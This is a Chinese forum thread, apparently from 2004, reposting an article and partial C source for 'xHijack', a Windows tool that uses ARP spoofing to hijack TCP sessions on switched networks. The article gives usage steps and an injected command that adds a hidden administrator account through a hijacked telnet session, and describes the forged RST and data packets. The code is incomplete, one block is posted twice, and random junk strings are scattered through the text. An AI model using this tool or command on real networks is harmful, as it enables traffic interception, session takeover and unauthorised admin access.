QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4220|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
# c9 o! f. V9 d5 }( xHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
; `+ `+ c, H- g: |4 e第二步是ARP欺骗,具体原理我就不说了。 $ _5 h* Y) j& [. j6 x( O8 ~$ D4 \
第三步就是开始劫持啦。 3 w. W9 T: X0 L( i5 D1 _" a1 J

" w0 o/ j2 n+ s% G我写了个程序xHijack可以实现第二、三步功能,使用如下: * I( }% K" |: L" d
# k" r7 K  Z. }
Usage: xHijack ServerSide ClientSide
& D& |! ?) I& D1 K( Q. |$ ~/ b% v  I$ J' O+ f: k
下面根据三种不同的情况分别说明如何输入参数:
; M) a% ~% i. L' O3 j1 V4 `1 m<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 * J; w6 ]3 d6 _' @3 g+ x5 H
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 , m9 Z& O0 I# \. V
c:\>xHijack 192.168.0.2 192.168.0.3 , X/ g9 O4 S) d
劫持前数据流程:server <--> client
7 b/ D8 y. [) o3 y( j+ {0 _劫持后数据流程:server <--> hijacker <--> client 1 l5 Y6 `. `6 R3 B

8 N: L% i. ]) f" B. l0 n( E' b) |: }<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 3 b1 @6 K' P8 u$ l$ x/ e' e/ W# l
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 3 {, ]7 |% i* Z. y
xHijack 202.202.202.2 202.202.202.1
8 K  c% N6 k' `劫持前数据流程:server <--> gw <--> routes <--> client - v' e/ _5 c. X4 o
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
2 x7 I8 B$ Q' ?$ d' x. C( h$ g: \! `5 W" Z& Y
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
& }& J- Q! F5 R3 M) W假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
. y9 @" Q1 W8 n9 v; t- D5 L$ ?xHijack 192.168.0.1 192.168.0.2
- q( R: T" k7 x0 i% t劫持前数据流程:client <--> gw <--> routes <--> server
4 H& u/ ?- w' G劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server 9 O8 i" j6 d+ V3 y' r& T) [

" C! C0 d0 P4 r& S/ f( ]) I输入两个参数后,会提示你选择网卡,然后会提示 ( x& y. K4 h' {" E! u) }0 b
l        <-- List all connections
( O  G: e6 m  l* E: l# cr x       <-- Reset the number x connection
3 V( {. i9 ]9 B3 }w x       <-- Watch the number x connection
% E+ }5 U& E( e0 |h x command   <-- Hijack the number x connection to execute command 7 p9 O: K! l5 T5 A" y

+ i% e/ d% [, }5 @list、reset、watch命令我就不解释了。 & B. Z; m: W& D" P
假如现在有如下连接 % [* ]& U# V. D% _6 i( u
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
& H# e. W( D9 ]# v6 A我们想要劫持这个连接运行我们的命令,输入
) x+ \# a" y7 t) @7 PxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" ( D6 {; L6 @+ l+ C) q0 b
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 ' \. H3 A8 l! v' `$ r) M5 k5 C! M
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 + y+ m: r% _, J2 S
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
, |$ P$ i' W% d7 I4 s/ R$ Y' X
- R% e6 F) Z8 k1 }8 {( _3 f劫持的流程如下:
; K& c# F6 k) v3 A, T<1>伪装成Server给Client发一个rst包 ' ]$ z& I  A3 e
<2>伪装成Client给Server发了一个数据包
% Y- @1 z6 i& w4 d<3>Server回一个ACK包给client
% u1 s, Y" q4 `<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
/ q9 d, o2 B: V6 I& T8 G: u
5 z) m- v: x; R这样的话,我们只能发一个伪造的包,但我想已经足够了。
0 P! O/ p" Z9 w# q6 A+ }2 k想要一直劫持那个连接也可以,如下 ! Q* T- x' e0 o
<1>伪装成Server给Client发一个rst包
) l2 j5 s$ |! m7 J: b" q<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
8 K' E& |' X4 z4 A" N# x! a<3>伪装成Client给Server发了一个数据包 2 Y& Z- Z) i! X# }8 }) e8 N
<4>Server回一个ACK包给client 8 T5 n* Q3 j% k
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
9 E3 H; x; O& H/ E& h& U4 Y7 v<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 2 `- ~1 Z. f+ t- b4 h4 F
2 d4 z4 D6 n+ d+ b! w7 ^  c
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
  n9 d9 b1 {4 m' T
3 }; ^5 k) D& _/ e: n, Z% K& G  w8 @8 {; i0 R
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
1 [, k0 p- m* g" L# `1 g5 I还请各位多多指点。 6 h/ D" r- Q* B5 G; F

0 ~$ [, Y- W9 X  aBTW:我没有空间,编译好的程序没地方放:(
7 @6 j- P; o( Z' c3 P
- p6 _6 ^% r; H4 j
6 `* F! J$ i, @* r' w+ r/ D# V4 H3 j7 C* w5 R. g
参考资料
4 q" V1 p* h# M8 L! Z<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
1 W+ K4 q/ l2 b<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 ( O4 ~0 P' \+ h. W  Z
) z' ]9 y/ M. C1 t' F5 u, I

2 [, `* U4 r* j9 r# e6 s8 q+ N以下是程序代码 . P, v" U: B& t2 p! V; W
----------------------------------------------------------------------
/ {- M: H& d" e8 a: S( P/*----------------------------------------------------------------------------- ! h9 h7 C7 T- B2 I  G
File      : xHijack.c
" _7 w2 q! V8 ?" C, uVersion      : 1.0
0 W4 p2 I! Y8 J% j; RCreate at    : 2002/8/12
; E7 e3 }: O) F) CLast modifed at  : 2002/8/19 + L$ E, L' C1 }- f6 O
Author      : eyas
5 v8 X  t% i4 V* J9 B; c" `Email      : ey4s@21cn.com 0 u- E8 L. u% g* @
HomePage    : www.ey4s.org " X  e% c9 j& M$ t
感谢refdom和shotgun发布的源代码,使我获益非浅。 ! B) g5 b) U! C
If you modify the code, or add more functions, please email me a copy. ; |. x' R) B# V- F7 H
) k: b& ?( i/ v& j' p- c
备注:
- i: `; Z' N( p$ s<>没有考虑IP头、TCP头超过20字节的情况 5 L% N8 R% W) Q; O2 \+ W; y
<>没有考虑数据包分片的情况
! c( D. ]7 @: j* S. G<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
9 ~* a, m! ^( q! Z: x5 L显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 0 ?- x: }( a* _0 r7 T; |
题了。
# m' F" l* X7 |! j$ s2 k- W  m; g) @
也许下一版本会修正这些问题,也许不会有下一版本了。 : ~' a/ T4 w0 \

3 _9 m- w$ p- t$ p8 I7 P7 K: Y-----------------------------------------------------------------------------*/ - X9 c9 ?4 u0 x
#include
6 _6 ^; p- F* Y) C3 u# h) ?#include # G, D$ Y6 T: x0 D
#include
7 }4 K! s% N1 i* T+ Q1 M#include
4 z. Z; T6 l9 m6 Z) O0 E7 t+ F+ h& Q#include
% }) P; f5 Q! j3 F  I8 C#include
. Z1 P  t' |$ i- [) h# }#include 7 O& L3 D- h, j+ l5 t

4 I8 [9 c- z) J5 j#pragma comment (lib, "packet")
% [4 g+ h8 m* V+ Q# @( p#pragma comment (lib, "iphlpapi") 2 }, L- [6 D. G, h1 s
#pragma comment (lib, "ws2_32") & K5 P6 P4 D% Z1 b. L" N
; E% S* S8 F  m$ k7 j
#define Max_Num_Adapter 10 # R! U! R/ e& Z) E0 E! L" I( Z
#define Max_Num_IPAddr  5
' J* h# b; H: }+ T#define EPT_IP      0x0800      /* type: IP  */ & `. ^. g5 g& M: }+ s& ]
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
+ ~' K" i6 I- N5 q5 g#define EPT_ARP      0x0806      /* type: ARP */ 5 b1 J: H) K4 [; z7 f8 |

" d* c7 J2 y# c/ Q9 `7 i#define  ACTION_NONE    0
6 }# [* M7 U2 e( o% D6 u#define  ACTION_WATCH  1
+ L8 U0 d8 j5 o( b- X" V#define  ACTION_RESET  2   R7 g: _) [- u5 V7 z2 f; j. D
#define ACTION_HIJACK  3 ' R7 D  [# K$ r& b
" x: E& Y$ f" z. s
/*以1字节对齐*/ , K4 {8 X' V/ e6 W  t
#pragma pack(1) ) C$ z/ q( d+ L# Q6 R. u
typedef struct _ehhdr / S) G3 E: T+ P, q8 ~
{ 1 J' r2 B, p8 t  @5 ]( c( B, i
  unsigned char  DestMAC[6]; ! G1 d( q- R# T3 ~$ W* T# k$ P8 u% `
  unsigned char  SourceMAC[6]; " q; ~% |  P4 e9 p$ Z: p
  unsigned short  EthernetType; $ q3 O) m3 K6 v8 t; R8 r
}EHHDR, *PEHHDR;
3 h8 W3 [; ]+ ?4 U7 R$ i9 b( `( p
" R) k& l. F; m  Xtypedef struct _iphdr        //定义IP首部
9 H5 a' W9 E1 o{ ; b1 G7 f. k1 ^9 K8 \
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 ! y0 W- r& X0 M" t: c; j6 _& Z6 R
  unsigned char tos;        //8位服务类型TOS
2 e) @0 Q5 s2 H  unsigned short total_len;    //16位总长度(字节) 5 M! v8 b& g1 u, h( \
  unsigned short ident;      //16位标识
0 v* N5 b7 N) n% U. g  unsigned short frag_and_flags;  //3位标志位 9 W+ {0 g4 {% \$ [  N0 w
  unsigned char ttl;        //8位生存时间 TTL ' h1 R" O. ?8 f' Z& B& H1 x0 B# u
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) 1 ]  |5 t0 t8 Z4 d; s; D
  unsigned short checksum;    //16位IP首部校验和
6 h8 w. ^% T' h4 o- v* e  unsigned int sourceIP;      //32位源IP地址 4 w, z+ G& I: G* B" s
  unsigned int destIP;      //32位目的IP地址 - Q  g$ C  H3 X- k; J6 n: X  H3 y
}IPHDR, *PIPHDR; 3 l7 t4 n! i, i
. F/ s4 y7 I- F' z7 H+ y. K- ~
typedef struct _tcphdr        //定义TCP首部
. w4 {: n, q  R{ # f# N# R: ~2 R+ o9 F: j" {0 x! }1 N
  USHORT th_sport;        //16位源端口
: J# X0 x$ Z5 K  USHORT th_dport;        //16位目的端口 4 X5 m& D# k3 j( w+ r( k9 u
  unsigned int th_seq;      //32位序列号
  D0 c9 T: i8 E5 m  unsigned int th_ack;      //32位确认号 ; `0 a( K, o6 M7 L! t( i) d9 Q
  unsigned char th_lenres;    //4位首部长度/6位保留字 6 F) j8 q; ]. m0 `; h6 f8 s& v
  unsigned char th_flag;      //6位标志位 8 R: V3 q6 j, T0 Z
  USHORT th_win;          //16位窗口大小
( R3 P0 j. M/ D9 R5 R; p  USHORT th_sum;          //16位校验和
& b# ^+ [+ I4 @' ~" W5 D  USHORT th_urp;          //16位紧急数据偏移量
' n% L1 n# k6 A" r, U! Z}TCPHDR, *PTCPHDR; 3 {: ?& F: P( m, H

7 a4 ~5 r; e4 j  m# Xtypedef struct _psdhdr        //定义TCP pseudo header
4 _+ R2 s8 a' J  ^: g. a7 T, G{               
( u% C/ t- p" ?" E3 t9 z  unsigned long saddr; 2 f6 U! i9 _# [7 O" W
  unsigned long daddr; % g0 X/ q* p' |) f; m- B1 C5 |
  char mbz;
% @* v8 J7 M  c9 ^% \! B2 O  char ptcl;
( q7 Q* }8 T& x( }, h: ]  unsigned short tcpl; , {+ j8 B+ }3 z
}PSDHDR, *PPSDHDR; ; p/ b! a& e6 \/ G+ k6 v6 P- d

7 M. F7 |) N7 qtypedef struct _arphdr 4 x( x: H/ ]/ `
{
8 L8 J$ Y1 A  R& C  unsigned short  HrdType;//硬件类型 & @( i6 \8 `, z& r1 T
  unsigned short  ProType;//协议类型 3 c1 O' o2 s! J6 ]( x0 {) \; A
  unsigned char  HrdAddrlen;//硬件地址长度 7 a, i4 U2 q6 a% f
  unsigned char  ProAddrLen;//协议地址长度
6 X# V' f' L  U' Z  unsigned short  op;//operation " V; g4 ?2 S& e5 N7 ?
  unsigned char  SourceMAC[6];/* sender hardware address */
$ Q% f3 M& M- D: v' Y" i1 v  unsigned long  SourceIP;/* sender protocol address */
2 l/ b* G2 }$ [/ B5 s  unsigned char  DestMAC[6];/* target hardware address */ " T$ Q8 B8 N: t# K/ H5 T  b
  unsigned long  DestIP;/* target protocol address */
- q! s( Z2 B+ E& P* F}ARPHDR, *PARPHDR;
# H. t, R! D  q% y/ ~$ @9 a1 X& y  h+ P" f& s$ G. `; j
typedef struct _ArpPacket $ ]8 n& B" T! \2 B/ L
{ 9 P) Z  p# q# i  c  u6 D- c6 U2 c$ E6 r
  EHHDR  ehhdr;
/ v( \7 M  [  g/ X$ W4 b* o  ARPHDR  arphdr; 2 N6 y: c" L! b4 u2 u5 X6 x
}ARPPACKET, *PARPPACKET; 9 Z' `4 v6 d: X
, w% a9 b8 t8 ?2 X: G/ r) y
typedef struct _tcppacket
7 {! J- h! W4 ?" Q! k) a: S/ q7 q& N{
: |1 r, w; p; B" Q  EHHDR  ehhdr; - V  F$ s7 O! Q1 X8 K. w7 s
  IPHDR  iphdr;
1 H/ R3 V" n+ o8 {% k" l  TCPHDR  tcphdr;   C/ b& s% F( v, }5 ?. O  d7 I
}TCPPACKET, *PTCPPACKET;
7 A, t9 q. L9 E$ O6 a, ], J% |2 k! D* s5 a) g: n+ n( Q$ w5 @9 i
typedef struct _conninfo
% v, x4 O1 [' K% k* |" q1 K3 F{ 5 U: P  R3 E7 ?* P; f1 u. F
  DWORD  dwServerIP; ! v5 `4 A. Q4 ?/ }* S, R! S
  USHORT  uServerPort;
( o% b$ V* q; M% _  DWORD  dwClientIP;
0 P0 C4 K0 \% x5 T+ A  USHORT  uClientPort; + ^2 u) z& `  E. h
  DWORD  ident;//标识
2 v! h6 K; Z1 J, ?; \& l  BOOL  bActive; % M; y/ ]& Y. ^& I1 v" k
  struct  _conninfo  *Next;
' t5 [4 ~7 T5 Q% ~# D}CONNINFO, *PCONNINFO;
5 i: u; S) G3 r9 \$ v2 O+ e( u9 g% q: a$ X5 j4 c; n' B
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
. U0 i5 r! J$ _2 P3 m1 A: O9 ?* F, D        g_ClientSideIP,
2 b5 O  l0 ^/ v7 d# i$ o0 H# }        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
+ t/ m# o# i/ c; v% A. x! z        g_TotalIP = 0;//
% j; n: u- |0 k8 m; U' Ounsigned char  g_szOwnMAC[6];//本机MAC地址
# m7 V" c4 U1 k) t* dunsigned char  g_szClientSideMAC[6];
2 a# g7 p$ n6 P# z; Iunsigned char  g_szServerSideMAC[6];
6 Z6 ^: G; V+ T; ~char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
4 W; b$ a. v! A2 `LPADAPTER    g_lpAdapter;
# D* K+ Q- e; G/ F( }# Z//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread & I5 c5 X7 [5 s$ o, M% z! j
HANDLE      g_hThread[4]; . @* @9 D* o  a0 l' c
char      g_szCommand[128];//command to execute after hijack 2 ^$ C5 F# [, o+ O
DWORD      g_dwAction;//action type
  {. H+ p& `) _. o. p6 DDWORD      g_dwCtrlConn;//action 所控制连接的标识
% I# b' N9 G; T, N3 G6 ^DWORD      g_ident;//节点标识,递增
$ {: |% y; e. W5 j2 ?8 n; l+ r  aPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 9 e* \. v5 ~" P' q, w% W, B: Y
        g_pConnHead = NULL,
/ X) J  v4 E8 x) |$ n: H        g_pConnLast = NULL;
' c; ?+ s1 ]3 cchar      g_szSendPacketBuf[1514]; ! \8 Y+ {6 D6 F( P, |
LPPACKET    g_lpSendPacket; % I* ~4 R$ X4 U- m( q
//函数 + d* b, D' [/ t, R9 z
void      usage(void);
+ x, }6 T4 K7 ]! d+ t9 vvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
# i7 T6 _2 C4 ~. ^/ _8 tvoid      ListAllConnection();//列出当前所有的连接 8 a1 |, j2 Y, _' W$ j- Y; s" Z- c
void      ResetActionAllFlag(); / O$ F- j9 {! G; {* [) S
USHORT      checksum(USHORT *, int);
+ Z& u1 f6 R$ }BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 $ B( S% S( ^! O% \3 i
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 - X4 a( z* M1 l% e+ o  \) V8 Y
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
( }. y. [* ~8 M8 _+ VBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
) c8 I+ H3 y/ t+ y* ~8 {; |0 r& cBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
: L' K* X/ ~% g: V4 _DWORD      GetConnNum(char *, DWORD, DWORD *);
" T% P7 r' [* z1 W: K4 N! n: _2 fDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 7 p1 v# V0 L: O8 q( y
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
6 m. q8 y6 \$ PDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 * k  U  P( c, |, k# Q5 x5 U
DWORD  WINAPI  InterfaceThread(LPVOID);// % [% b+ ?  N. L
BOOL  WINAPI  CtrlEvent(DWORD);
4 g+ |( }1 M* v2 U! E' \9 V* I2 c0 X' O0 b: L9 u, W! r. Q

+ J$ Z+ s: t9 W9 I4 p  l0 U) `2 q9 ^7 p
int main(int argc, char **argv) : ]& t9 ~8 r$ a& Z7 A( f2 _
{ 7 h$ l7 C; r. m" @9 I# V8 D7 U
  struct    bpf_stat stat;
7 Y: w# Z2 a' r* R! b$ r  int      i;
( g( |4 `, m  {) v
1 S  s% r, U5 Y5 J! H  p  usage(); ; v0 T, U- [) w, H0 g% g1 {/ m
  if (argc != 3) return 0;
' ~; N( H: K4 ~  //取得参数
7 U( m& x1 D# }( \5 }  g_ServerSideIP = inet_addr(argv[1]); 9 I5 s7 r: @/ h2 f1 z
  g_ClientSideIP = inet_addr(argv[2]); ) p8 c* P" [6 _' D6 q9 d+ h' z) m( d
  //初始化adapter & 一些全局变量 . K3 }8 m/ g9 M# E8 n% O( d& p
  g_lpAdapter = InitAdapter();
5 m+ T1 d! I( r3 u& G# x" V  if(!g_lpAdapter) return 0;
: t! E2 H! I0 Y. `7 u4 C9 l  A; o( Z  //get ServerSide MAC & ClientSide MAC
3 e$ p# v' }: M1 G( f  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; 6 O) k5 S/ C8 ~: ]4 F$ l  n/ z
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; 6 R) O& l5 N' }7 T
  //create arp spoof thread     . P- u9 s. e7 ^# h8 e
  i = 1;
2 z; n# `0 F5 A6 m0 R) M$ I  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); / O8 R+ v3 j5 W3 R
  Sleep(500); $ ~) j8 a- p0 R. U4 Q
  i = 2;
. N6 S8 @9 s2 u, W* |& K  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
7 H3 j+ z6 i5 c0 I* q( P  //create analyse packet thread
5 b$ I. X" Z& ^7 d) k  U  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
4 J1 A- P* T( ?1 Z9 {  //create interface thread
4 r! E% d! |: d1 d+ Z  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); , J8 `( e$ H) Y; L" c8 E
  //set console ctrl handle
: s! a- ^& Y  c- s  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
) Q: F/ E+ \( P. \4 d% d3 e9 G  {
$ O7 c9 _# ^7 P+ _    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
3 z: c4 s' R. h& ?    return 0; * `: ~; t( x3 f- z) E* H
  } - v& ~3 X2 }6 Z( I! j& r# q- A2 G
  //wait for any thread exit 6 U. A) o1 Q5 c1 q% [! q* S
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); # u# s' n% n! i( x$ Y& t1 ]# E. d6 m
  //print the capture statistics
2 I7 i" x; o/ P  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) - F' ~$ J* o8 o4 g, U4 w5 _+ ~' f, ~2 k
    printf("Warning: unable to get stats from the kernel!\n");
: r4 r5 y/ S, O2 m  else
. N. K9 ^1 V0 X* s* Q0 o    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); , r- O" u3 q1 M( q! z+ K" t
  //free resource   
7 A% @$ U0 C/ G4 i/ L! w  PacketFreePacket(g_lpSendPacket); 7 h. D: G" Z, T& X$ c
  PacketCloseAdapter(g_lpAdapter);
. Q4 H1 n8 Y: f  return 0; , `2 s) G7 U6 R
} " V. G& L& j$ P

/ L7 `1 k3 w- O' ?1 l& i& X; P//
& }, U; k. ]( S0 k( ?7 A! O( t//功能:重置所有于ACTION有关的标志 ) d( b& s! g! q' c1 U
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, ; s) K% n. ?6 \) X6 c$ |5 ^
        g_ClientSideIP,
( U  o( U. A$ o0 }# e+ P        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
* M* D; D+ N7 n. b        g_TotalIP = 0;// + C( T# J3 j+ x1 Q) Q- J: N
unsigned char  g_szOwnMAC[6];//本机MAC地址 $ W  F% V! V' y/ X7 F0 ?8 k" {0 A3 c
unsigned char  g_szClientSideMAC[6];
$ X1 F3 v  K4 J! [unsigned char  g_szServerSideMAC[6]; , I* S, R; @5 ~  O9 r( k5 E% l
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 $ x# ~" T. y8 m; {. `
LPADAPTER    g_lpAdapter;
" e/ r" y% \- d  ^1 ?: M//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread % ~, b. d$ B9 ~5 k$ y, O
HANDLE      g_hThread[4];
* P% t2 v. a0 E% q/ H# qchar      g_szCommand[128];//command to execute after hijack ! Z3 O, {& x: E9 i
DWORD      g_dwAction;//action type
) y; h, [$ x* W% S' N8 }DWORD      g_dwCtrlConn;//action 所控制连接的标识
2 i1 c; _# y" ]/ N: q( HDWORD      g_ident;//节点标识,递增
8 Y7 ?) K7 W( fPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 7 U# _1 x5 S# L# J7 u0 Y; i6 i
        g_pConnHead = NULL, . t4 Z$ d, A0 h7 c8 g
        g_pConnLast = NULL;
6 F  b5 e4 m3 j7 h7 |& uchar      g_szSendPacketBuf[1514];
  Z  S4 R* y# }LPPACKET    g_lpSendPacket; ! e% ~* {- g: f3 O6 f
//函数
: e2 v( c2 A4 C" Y, f9 kvoid      usage(void);
- a) Q; U3 A9 a! l8 q) vvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
; ^7 A$ ?1 A7 x3 Wvoid      ListAllConnection();//列出当前所有的连接
7 O: y# u' u' O: Z5 \0 D6 }' r! [void      ResetActionAllFlag(); 5 E- y+ C( g2 C# v: D1 n# d
USHORT      checksum(USHORT *, int); 4 V5 @5 J1 C9 v8 ?/ t
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 % T7 X# f4 c  F: u0 t: J
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 ' e/ t0 W2 Z! m" m4 d' ^
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
8 _4 {& I! I3 |  s# m* qBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包   ]2 ^# @: {& o6 V$ K1 ]1 |4 e& a  H
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 4 o# D/ d$ S. ^2 }4 u! k
DWORD      GetConnNum(char *, DWORD, DWORD *); & W$ F2 c  ?" E2 d4 m$ l& w; V% F0 l
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 7 H* w; Z5 `/ m/ D' T  i
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 3 i/ R; V( k+ j. C$ R
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 - F. m# D+ S2 U2 J
DWORD  WINAPI  InterfaceThread(LPVOID);//   A5 J5 {2 Z6 e$ C
BOOL  WINAPI  CtrlEvent(DWORD);
. |" X! D% f6 R0 S  Y0 S" g9 t* s$ |, }: v3 F
% g3 M! g, d& ?1 W8 N

+ l) A5 a/ C; d  C0 @int main(int argc, char **argv) ; c+ H' b& C5 y* }8 m7 j8 V4 F* K  A
{ : m# c' z& p) p0 D# O7 z- O
  struct    bpf_stat stat; ! H% Y/ B, O; ~. g. z
  int      i;
' X5 G2 e6 e* w& v3 N* C, n7 I9 M
  usage(); , s+ B9 R" X1 L8 @* s6 V* z6 K1 ?
  if (argc != 3) return 0;
5 P# E' \% q  x% u$ ~  //取得参数
8 r" o( J- G8 X* v. G  g_ServerSideIP = inet_addr(argv[1]); * G: ]# }8 B' F9 ]$ T' [
  g_ClientSideIP = inet_addr(argv[2]);
2 j0 N% J9 T, v% `  //初始化adapter & 一些全局变量
8 n# R4 T2 K/ g" y7 j  g_lpAdapter = InitAdapter(); # z$ }- S9 e3 d$ I
  if(!g_lpAdapter) return 0; % H5 r2 x. L- @. T* b( i
  //get ServerSide MAC & ClientSide MAC 4 B7 y/ o& ?& H& ^9 M, n
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
6 A3 `& i$ C2 S& M0 B: P- q/ C  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
! o( Y- d  }8 A3 m2 t* r" B  //create arp spoof thread     " Q( h) y. s  v+ Z7 Z5 b" ?1 `
  i = 1;
4 R1 W1 `" i; b( u, l3 B  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ( t4 W- Q& p  q" T6 u2 e
  Sleep(500); : I7 ?) ?7 ^9 g1 J& D/ b! s
  i = 2;
' L3 B; g- X5 p  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
: w" C: x3 d* P6 h  //create analyse packet thread 3 ~4 l* x! k' l
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
' ?$ g8 P- I# s. a  o0 i0 m  //create interface thread ( u8 }7 ~8 H* u9 {$ q1 t) ~7 r
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
% ?# _' d0 n9 h5 v2 E7 r. n  //set console ctrl handle
# g8 ^/ w; y, P' s0 E7 `9 r! {$ a  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 9 l9 t# \$ a$ L1 {
  { 1 W; P( y* K- @2 F$ J
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 3 O+ @% w, I& n+ Q' r) {* l, r. H
    return 0;
% O5 J- V$ f. U9 h4 c1 k  } # [' e# d) D  M8 @% ^* h
  //wait for any thread exit
" b7 @& c- F' m2 C/ O  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
' M8 y: K1 z3 E/ ]8 p4 I  //print the capture statistics & @8 p& L& f. q/ e0 G) B& _
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
$ s  k2 Y3 h) u" f$ N    printf("Warning: unable to get stats from the kernel!\n");
. K6 v  o* ?! D  else % z. y4 }1 J( e" J2 h  s- K* \) T
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 4 q/ |, `! C  D2 l! z# k- A- u8 c
  //free resource   
! L% ?$ u0 ~, U. c6 L  PacketFreePacket(g_lpSendPacket); 0 M" P" K1 f  g5 p/ b/ V
  PacketCloseAdapter(g_lpAdapter); ( a% L; f# T5 x! }
  return 0;
7 T( \5 n, G% _1 T2 ^' z# r# I} . J. d! x' y! T# K1 J/ a) O

% T5 N6 ^/ Q+ f% w; g5 Y// 9 s* ]" B: K" @# b9 T$ l
//功能:重置所有于ACTION有关的标志 4 G$ b3 S: F  t3 u% s* }& J( B6 a
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag() % e0 N8 z( E# n  _( {4 C5 u
{ # z2 `( @& [/ I6 b
  g_dwCtrlConn = 0; : U5 X) {. z! M- a
